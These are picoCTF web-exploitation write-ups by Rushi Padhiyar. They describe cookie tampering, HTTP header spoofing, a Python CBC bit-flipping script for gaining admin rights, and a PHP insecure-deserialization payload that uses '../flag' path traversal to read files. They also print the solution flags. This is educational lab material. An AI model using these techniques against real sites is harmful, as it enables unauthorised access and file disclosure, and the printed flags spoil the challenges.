

Pico CTF Writeups by Rushi Padhiyar

Cookies → 40Pts.

1. Inspected the page.
2. It had a search box and we can search the cookies name in it.
3. Tried inserting names and numbers but that was showing invalid response.
4. Inspected the site CTRL+SHIFT+I
5. Followed the Memory Section
6. Saw that Name had the value -1
7. Changed the value to 0 and refreshed
8. Got a web page indicating I love Chocolate Cookie.
9. Kept changing value till 18 and got the flag value

Some Assembly Required - 1 → 70Pts.

1. We have a input page.
2. We have to enter flag and it will verify it and revert back Incorrect or Correct.
3. I inserted random number and text but nothing happened and reverted only Incorrect.
4. So started inspecting the page.
5. Went to Sources and started Fuzzing the files.
6. Saw something unusual in the WASM directory and it had a file
7. Checked that file and found the flag.
8. Submitted the flag and it reverted back Correct.

logon → 100Pts.

1. We have to log in as Joe to find the Flag.
2. Logged on to the server with Joe without any password and got the Answer "No flag for you"
3. Fuzzed all the files and checked everything but didn't got anything.
4. Checked the cookies and it was written that Joe and Value was False (indicating I can't access the flag)
5. Changed the value to True and refreshed the page and got the flag.

dont-use-client-side → 100Pts.

1. We have a site which has a user input for verifying the input of the user.
2. Entered "password" reverted back as not verified.
3. Started Inspecting the page and saw the source code of it.
4. Saw the script running in the code.
5. Checked the script and saw that the alert box was saying ("Password Verified") means above code has password inscribed in it.
6. Joined the above code and entered it but it was incorrect.
7. Then saw that password is split in the parts so, then joined them according to split numbers indicated and it was verified.

password:



picoCTF{no_clients_plz_7723ce}

login → 100Pts.

1. We land on the site with a username and password page (login page)
2. Tried Username and Password...nothing was there. (no bypass)
3. Fuzzed the files and found out there is a file named index.js which had a Incorrect Password hash.
4. Copied the hashed string and decoded to Base64 and got the flag.

(Note: I used Burp to decode the string)

Its My Birthday → 100Pts.

Description:

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. <http://mercury.picoctf.net:11590/>

1. So I boot up my burp and browser and loaded the website.
2. As per the description we have to upload 2 files which looks similar means they must have same name but different content. We need to check the collision of 2 files uploaded on the same server.
3. So I crafted 2 small PDF and saved them as hi.pdf in two different location in my PC and then uploaded them.
4. It reverted back the php code.
5. Was reading the code and found the flag there.

More cookies → 90 Pts.

1. We need an admin rights to view the cookie.
2. Inspected the page -> Applications -> Cookie was saved as "auth_name" and then the value:
a3c0ZTZtN1pRYTRKdkVmSXhKTit6bmdLWWgyaXYzZIZwcFZXQ3FWaE5QSzJKWTBBVVNRQ2FDS2d0Zk1USIUxa2M5djNnY
3. We need to decode this then and only then we will get the flag.
4. The algorithm used here is CBC and according to that we need to find. (googled the answer as I didn't know how to handle cookies with admin privilege)
5. Found a script on GitHub for decoding the code.

script: [morecookies.py](#).

```
import requests
import base64

s=requests.Session()
s.get('[http://mercury.picoctf.net:10868/](http://mercury.picoctf.net:10868/)')
cookie = s.cookies['auth_name']
unb64 = base64.b64decode(cookie)
unb64b = base64.b64decode(unb64)

// first 128-bit block is IV, flip IV bit to flip plaintext bit "admin=0" to "admin=1"

// looping through bytes (16 bytes because 128-bit block)

for i in range(0, 128):
    pos=i//8
    guessdec = unb64b[0:pos] + (unb64b[pos]^(1<<(i%8))).to_bytes(1, 'big') + unb64b[pos+1:]
    guess=base64.b64encode(base64.b64encode(guessdec))
    r=requests.get('[http://mercury.picoctf.net:10868/](http://mercury.picoctf.net:10868/)', cookies={"auth_name": guess.decode()})
    if "pico" in r.text:
        print("Flag: " + r.text.split("<code>")[1].split("</code>")[0])
        break
```

6. After running this script we will get our Flag in the output.
7. What this script does is that it gets the cookies info from the provided site, decode the cookie to base64 and then uses the concept of CBC to flip the IV bit and loop it.

includes → 100Pts.

1. It was a basic inspection of files of the web page.
2. What important was that we need to see the source files.
3. There were 2 files script.js and style.css
4. JS files included the alert box script and css file had basic CSS for web page.
5. CSS file has a comment of half flag.
6. JS file has the other half.
7. Combine them and get yourself the flag.

Local Authority → 100Pts.

1. So we have to enter the username and password to get the access of flag.
2. Tried admin= username and admin=password -> Revert back that Log In Failed.

3. So checked the files and sources and in the JS file it was indicated that

```
if( username === 'admin' && password === 'strongPassword098765' )
{
return true;
}
else
{
return false;
}
```

4. So logged in with username = admin & password = strongPassword098765
5. Got the flag.

Who Are You → 100 Pts.

1. We need to send the request to Burp and then change the browser from current to PicoBrowser.
2. We need to add Referer: mercury.picoctf.net:39114
3. We need to add Date : 20th October,2018
4. We need to add DNT : false
5. We need to add X-Forwarded-For: 31.3.152.55 (Sweden IP Address)
6. We need to add Accept-Language: sv,en;
7. We'll get the flag.

picobrowser → 200 Pts.

1. We need to change the Client from our Browser to PicoBrowser.
2. Used Burp to change the request.
3. Changed the User Agent from Mozilla to picobrowser.
4. Got the flag.

Search Source → 100 Pts.

1. We need to check the source files as indicated in the question.
2. Searched "Flag" on index.html but it said it's not there and it is located somewhere else.
3. Started searching the files in Debugger, Sources and Style Editor and inside Style Editor I found the file called style.css and that file contained a comment showing the flag.



picoCTF{1nsp3ti0n_of_w3bpag3s_8de925a7}

Super Serial → 130 Pts.

1. We land on login page.
2. Search for robots.txt
3. Found admin.php
4. Opened admin.php but it says not found.
5. So tried appending phps in index also. and viewed source page.
6. Got the source code with a php code.

```
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
```

6. Found the authentication.php file so tried getting in it but it says Forbidden (not allowed)
7. So tried authentication.phps and got a source code

```
<?php

function __construct($lf) {
    $this->log_file = $lf;
}

function __toString() {
    return $this->read_log();
}

function append_to_log($data) {
    file_put_contents($this->log_file, $data, FILE_APPEND);
}

function read_log() {
    return file_get_contents($this->log_file);
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
```

8. So i saw that in second line we have cookie.php
9. Opened it and found 1 so i tried cookie.phps to get the source code and it reverted back.

```

if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>

```

10. What really caught my eye was the last part where we have a serialization info of cookie. The cookie value is URL Encoded -> Base64 Encoded -> Serialized.
11. I pasted the part of authentication.php on online php editor

script.php

```

<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}

function __toString() {
return $this->read_log();
}


function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}

function read_log() {
return file_get_contents($this->log_file);
}
}


echo(serialize(new access_log("../flag")));
?>

```

12. Last line was added by me because we need a serialized value of the access.log but don't have permission to overwrite it so created a new access.log and then as per hint traversing the ../flag
13. Got the output:

 O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}

14. Decoded to Base64 and got
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnljt9
15. Tried going to index.php and created a new cookie named "login" and value
=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnljt9 path=/authentication.php
16. Refreshed the page and then the deserialization error got me the flag

 picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

Power Cookies → 200Pts.

1. We have a website stating that Online Gradebook and then a "Continue as a guest" option.
2. We click on that and go on but it says that "We apologize, but we have no guest services at the moment."
3. So I opened the Cookies section and saw that the name of the cookies is "isAdmin" and the value is 0.
4. I tried changing the value to "1" and it reverted back the flag.



picoCTF{gr4d3_A_c00k13_0d351e23}

Note: This was not even a 50 Pt. flag and the previous cookie challenges made by MADSTACKS were totally out of the box but this one was trash for 200 Pts. MADSTACKS I miss you!

AUTHOR: Rushi Padhiyar a.k.a *Cyph3rRyx*